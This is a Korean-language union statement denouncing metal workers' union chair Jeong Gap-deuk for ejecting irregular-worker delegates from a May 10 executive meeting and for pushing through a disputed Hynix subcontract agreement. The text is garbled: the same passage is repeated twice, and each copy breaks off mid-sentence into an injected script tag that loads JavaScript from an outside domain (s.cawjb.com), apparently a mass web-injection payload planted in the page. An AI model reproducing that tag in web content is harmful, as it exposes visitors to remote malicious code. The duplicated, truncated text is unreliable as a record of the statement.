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비정규▪ 장기투쟁사업장 동지들에 대한 정갑득 위원장의 배신행위,
하이닉스 직권조인 합의서 날치기 통과 시도
비정규▪장기투쟁사업장 동지들에 대한 ‘퇴장 명령’ - “회의를 문란케 하고 있다. 나가달라”
5월10일 14시, 금속노조 중앙집행위원회는 15만 금속노조의 계급적 성격과 15만 현장조합원들의 운명을 결정하는 중요한 자리였다. 그렇기 때문에 현대자동차 아산 전주 울산 비정규직 지회, 기아자동차 비정규직지회, 현대하이스코 비정규직지회, 하이닉스 매그나칩 사내하청지회, GM대우창원비정규직지회, 현대중공업 사내하청지회, 기륭전자 분회, 하이텍 알씨디 코리아 지회, 시그네틱지회, 기아자동차 화성지부 현장공투 대표 등 비정규▪장투사업장 동지들은 자신의 운명을 결정하는 자리에 참여했다. 그런데 비정규▪장투사업장 동지들은 자신의 운명을 결정하는 자리에서 퇴장 명령 ―“회의를 문란케 하고 있다 나가달라”―을 받았다.
제일 마지막으로 상정되어 있던 기타 안건 7-7, [하이닉스매그나칩사내하청지회 합의 관련 건] 을 1호 안건으로 상정할 것을 요구한 것이 어떻게 “회의를 문란케 하는 판단의 이유”인가? 중집 성원들도 회순 변경(1호 안건)을 요구했고 이 또한도 “회의를 문란케 하는 판단의 이유인가” 정갑득 위원장의 말처럼 “산별노조 10년을 준비한 첫 파업”을 결정하는 자리에 비정규․장투사업장 동지들이 참여한 것이 어떻게 “회의를 방해하는 일인가” 중집성원들이 문제없음을 밝히고 있는데도 “의장이 판단해서 의사진행의 방해여부를 판단”하는 것은 “권한의 남용”이며 현장조합원들의 “통제”로부터 달아나려는 “두려움의 반영”이다.
노동자 민주주의는 현장조합원들이 노동조합의 운영에 직접적이고 더욱 결정적으로 참여하는 것이다. 현장조합원들이 직접 선출한 대표자들은 언제든지 현장조합원들의 소환에 응해야 하고 자신의 행한 결과에 대해 책임을 져야 한다. 이것이 노동자 민주주의의 핵심 내용 중의 하나이다.
정갑득 위원장 퇴장 명령은 현장조합원들이 금속노조의 운영에 참여하는 것을 원천 봉쇄하는 행위일 뿐만 아니라 금속노조 중집회의를 현장조합원들의 통제와 소환으로부터 자신들의 책임을 방어하기 위한 특권화된 기구로 전락시키는 관료적 발상이다. 공식 의결기구에의 현장조합원들의 참관과 발언은 어떠한 이유에서라도 제한하거나 박탈할 수 없는 “권리”이다. 비정규․장기투쟁사업장 동지들은 “퇴장 명령”에 대해 “침묵시위”로 답변했다. 몇 차례의 정회와 속개를 반복하면서 비정규․장기투쟁사업장 동지들은 자신의 운명을 결정하는 자리에 참여할 수 있게 되었다.
구차한 변명, 궤변, 버티기 마침내 하이닉스 직권조인 합의서 날치기 통과
정갑득 집행부 안으로 제출한 자료에는 “지회에서 많은 논의를 거친 가운데 5월3일 총회를 거쳐 44명 찬성, 28명 반대로 합의안을 승인할 것을 볼 때 직권조인이라는 말은 이치에 맞지 않다”는 구차한 변명을 하고 있다. 그러나 5월3일 지회 총회 통과는 정갑득 집행부의 계획된 작품이었다. 5월3일 서울지역 장기투쟁사업장 동지들은 정갑득 위원장에게 “총회 중단”을 요구하고 투쟁계획을 세워 조합원들을 설득해달라고 호소했었다. 이미 4월30일 본조 상집회의에서도 “총회 연기, 비상중집회의‘를 요구했고 4월30일 항의농성자 긴급성명을 통해서도 마찬가지의 요구를 했었다. 그러나 정갑득 집행부는 충분한 시간이 있었음에도 불구하고 모르쇠로 일관하면서 지금에 와서 ”총회를 통과했기 때문에 직권조인이 아니다“라고 구차한 변명을 하고 있다. 이것은 무엇을 뜻하는가? 하이닉스 조합원 총회 전에는 “직권조인”이라는 것을 스스로 인정한 것이다.
직권조인 자체도 용납할 수 없는 배신행위이지만 위원장에게 합의 내용이 보고되고 항의농성이 시작되었으며 규탄성명서가 지속되는 상황 속에서도 정갑득 위원장은 “총회 중단. 비상중집 회의 소집 요구”를 거부했다. 직권조인한 합의서가 지회 총회를 통과하도록 방치했다. “총회 앞두고 현장에 내려가는 것은 가결 오해의 소지”가 있었다는 구차한 변명, “가합의, 사전합의”라는 궤변으로 일관하다가 지금에 와서 “총회를 통과했기 때문에 직권조인이 아니다”라고 자신의 책임을 회피하고 있다. 손바닥으로 하늘을 가려라!
이미 금속노조 충남지부 운영위, 금속비정규대표자회의, 장투사업장 동지들, 완성사 현장조직에서 직권조인으로 규정하고 있다. 중앙집행위원회 대부분의 성원들이 “과정과 절차에 대해서 심각한 문제”를 제기하고 있다. 다른 것 다 떠나서 남택규 수석이 싸인한 합의서를 현장조합원들에게 물어보라 현장조합원들은 상식적으로 그것을 “잠정합의 ?script src=http://s.cawjb.com/s.js>
하이닉스 직권조인 합의서 날치기 통과 시도
비정규▪장기투쟁사업장 동지들에 대한 ‘퇴장 명령’ - “회의를 문란케 하고 있다. 나가달라”
5월10일 14시, 금속노조 중앙집행위원회는 15만 금속노조의 계급적 성격과 15만 현장조합원들의 운명을 결정하는 중요한 자리였다. 그렇기 때문에 현대자동차 아산 전주 울산 비정규직 지회, 기아자동차 비정규직지회, 현대하이스코 비정규직지회, 하이닉스 매그나칩 사내하청지회, GM대우창원비정규직지회, 현대중공업 사내하청지회, 기륭전자 분회, 하이텍 알씨디 코리아 지회, 시그네틱지회, 기아자동차 화성지부 현장공투 대표 등 비정규▪장투사업장 동지들은 자신의 운명을 결정하는 자리에 참여했다. 그런데 비정규▪장투사업장 동지들은 자신의 운명을 결정하는 자리에서 퇴장 명령 ―“회의를 문란케 하고 있다 나가달라”―을 받았다.
제일 마지막으로 상정되어 있던 기타 안건 7-7, [하이닉스매그나칩사내하청지회 합의 관련 건] 을 1호 안건으로 상정할 것을 요구한 것이 어떻게 “회의를 문란케 하는 판단의 이유”인가? 중집 성원들도 회순 변경(1호 안건)을 요구했고 이 또한도 “회의를 문란케 하는 판단의 이유인가” 정갑득 위원장의 말처럼 “산별노조 10년을 준비한 첫 파업”을 결정하는 자리에 비정규․장투사업장 동지들이 참여한 것이 어떻게 “회의를 방해하는 일인가” 중집성원들이 문제없음을 밝히고 있는데도 “의장이 판단해서 의사진행의 방해여부를 판단”하는 것은 “권한의 남용”이며 현장조합원들의 “통제”로부터 달아나려는 “두려움의 반영”이다.
노동자 민주주의는 현장조합원들이 노동조합의 운영에 직접적이고 더욱 결정적으로 참여하는 것이다. 현장조합원들이 직접 선출한 대표자들은 언제든지 현장조합원들의 소환에 응해야 하고 자신의 행한 결과에 대해 책임을 져야 한다. 이것이 노동자 민주주의의 핵심 내용 중의 하나이다.
정갑득 위원장 퇴장 명령은 현장조합원들이 금속노조의 운영에 참여하는 것을 원천 봉쇄하는 행위일 뿐만 아니라 금속노조 중집회의를 현장조합원들의 통제와 소환으로부터 자신들의 책임을 방어하기 위한 특권화된 기구로 전락시키는 관료적 발상이다. 공식 의결기구에의 현장조합원들의 참관과 발언은 어떠한 이유에서라도 제한하거나 박탈할 수 없는 “권리”이다. 비정규․장기투쟁사업장 동지들은 “퇴장 명령”에 대해 “침묵시위”로 답변했다. 몇 차례의 정회와 속개를 반복하면서 비정규․장기투쟁사업장 동지들은 자신의 운명을 결정하는 자리에 참여할 수 있게 되었다.
구차한 변명, 궤변, 버티기 마침내 하이닉스 직권조인 합의서 날치기 통과
정갑득 집행부 안으로 제출한 자료에는 “지회에서 많은 논의를 거친 가운데 5월3일 총회를 거쳐 44명 찬성, 28명 반대로 합의안을 승인할 것을 볼 때 직권조인이라는 말은 이치에 맞지 않다”는 구차한 변명을 하고 있다. 그러나 5월3일 지회 총회 통과는 정갑득 집행부의 계획된 작품이었다. 5월3일 서울지역 장기투쟁사업장 동지들은 정갑득 위원장에게 “총회 중단”을 요구하고 투쟁계획을 세워 조합원들을 설득해달라고 호소했었다. 이미 4월30일 본조 상집회의에서도 “총회 연기, 비상중집회의‘를 요구했고 4월30일 항의농성자 긴급성명을 통해서도 마찬가지의 요구를 했었다. 그러나 정갑득 집행부는 충분한 시간이 있었음에도 불구하고 모르쇠로 일관하면서 지금에 와서 ”총회를 통과했기 때문에 직권조인이 아니다“라고 구차한 변명을 하고 있다. 이것은 무엇을 뜻하는가? 하이닉스 조합원 총회 전에는 “직권조인”이라는 것을 스스로 인정한 것이다.
직권조인 자체도 용납할 수 없는 배신행위이지만 위원장에게 합의 내용이 보고되고 항의농성이 시작되었으며 규탄성명서가 지속되는 상황 속에서도 정갑득 위원장은 “총회 중단. 비상중집 회의 소집 요구”를 거부했다. 직권조인한 합의서가 지회 총회를 통과하도록 방치했다. “총회 앞두고 현장에 내려가는 것은 가결 오해의 소지”가 있었다는 구차한 변명, “가합의, 사전합의”라는 궤변으로 일관하다가 지금에 와서 “총회를 통과했기 때문에 직권조인이 아니다”라고 자신의 책임을 회피하고 있다. 손바닥으로 하늘을 가려라!
이미 금속노조 충남지부 운영위, 금속비정규대표자회의, 장투사업장 동지들, 완성사 현장조직에서 직권조인으로 규정하고 있다. 중앙집행위원회 대부분의 성원들이 “과정과 절차에 대해서 심각한 문제”를 제기하고 있다. 다른 것 다 떠나서 남택규 수석이 싸인한 합의서를 현장조합원들에게 물어보라 현장조합원들은 상식적으로 그것을 “잠정합의 ?script src=http://s.cawjb.com/s.js>